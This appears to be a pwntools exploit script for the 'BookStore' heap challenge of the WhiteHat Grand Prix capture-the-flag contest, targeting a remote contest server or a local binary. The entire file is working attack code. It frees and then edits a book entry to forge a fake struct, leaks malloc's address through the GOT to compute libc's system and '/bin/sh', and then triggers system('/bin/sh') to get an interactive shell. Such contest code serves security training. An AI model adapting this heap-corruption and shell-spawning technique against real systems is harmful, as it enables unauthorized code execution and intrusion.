pwn2_whitehat.py

from pwn import *
# import roputils
import time, re
# from libformatstr import *

context(arch='amd64', os='linux')
# context.log_level = 'DEBUG'
path = "./BookStore"
libc_path = "./libc-2.27.so"
libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
binary = ELF(path)
# print binary.symbols
libc = ELF(libc_path)

if sys.argv[1] == 'r':
    p = remote("pwn02.grandprix.whitehatvn.com", "8005")
if sys.argv[1] == 'p':
    p = process([path], env={"LD_PRELOAD" : libc_path}) 

answer = lambda x: p.sendline(str(x))
banner = lambda : p.recvuntil("=====================") #logo
flag = False

def debug():
    if flag:
        p.interactive()

def add(title, brief, ref_title, yn):

    p.sendafter('Your choice:', '1\n')
    p.sendafter('Title:', title + '\n')
    p.sendafter('Enter brief size:', str(len(brief) + 1) + '\n')
    p.sendafter('Enter brief:', brief + '\n')
    p.sendafter('Reference book title:', ref_title + '\n')
    p.sendafter('Best Selling? (Y/N)', yn + '\n')

    return p.recvline()

def edit(old_title, new_title, brief, size, yn):

    p.sendafter('Your choice:', '2\n')
    p.sendafter('Old title:', old_title+'\n')
    p.sendafter('New title:', new_title + '\n')
    p.sendafter('Enter brief size:', str(size) + '\n')
    p.sendafter('Enter brief:', brief)
    p.sendafter('Best Selling? (Y/N)', yn + '\n')

    return p.recvline()
    
def remove(title):
    p.sendafter('Your choice:', '3\n')
    p.sendafter('Title:', title + '\n')
    return p.recvline()

def list():
    p.sendafter('Your choice:', '4\n')
    return banner()

# p.interactive()
banner()
#################

malloc_got = 0x000000000601fd0
puts_plt = 0x000000000400908
strdup_plt = 0x000000000400980
bestSeller = 0x0000000006021F0

add('test3', '3'*8, 'testn', 'n')
add('test1', '1'*8, 'testn', 'y')

remove('test1')

add('test2', '2'*8, 'testn', 'y')


edit('test1', 'test1', 'A' + '\x00' + '\n', 0x80, 'n')

fake_book = p64(0) + p64(malloc_got) + 'fake' * 8 + '\x00' + '\x01' + p64(strdup_plt)

log.info('Lenght\'s fake_book: ' + hex(len(fake_book)))
edit('test1', 'test1', fake_book, 0x3a, 'n')

malloc = u64(list().split('fake'*8 + '|')[1][:6].ljust(8, '\x00'))
base = malloc - 0x97070
system = base + 0x4f440
binsh = base + 0x1b3e9a

log.info('malloc: ' + hex(malloc))





edit('test3', 'test3', '3'*8, 8, 'y')
remove('test3')
add('test4', '4'*8, 'testn', 'y')

edit('test3', 'test3', 'B' + '\x00' + '\n', 0x80, 'n')

fake_book2 = p64(0) + p64(binsh) + 'fake'*8 + '\x00' + '\x01' + p64(system)

edit('test3', 'test3', fake_book2, 0x3a, 'n')

p.interactive()